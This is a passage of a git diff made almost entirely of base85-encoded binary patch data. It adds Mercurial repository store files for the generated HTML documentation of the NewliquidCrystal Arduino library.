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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c__8cpp__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c__8cpp__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..0f5b3771f1172b9196831690026d318b74536371 GIT binary patch literal 7388 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 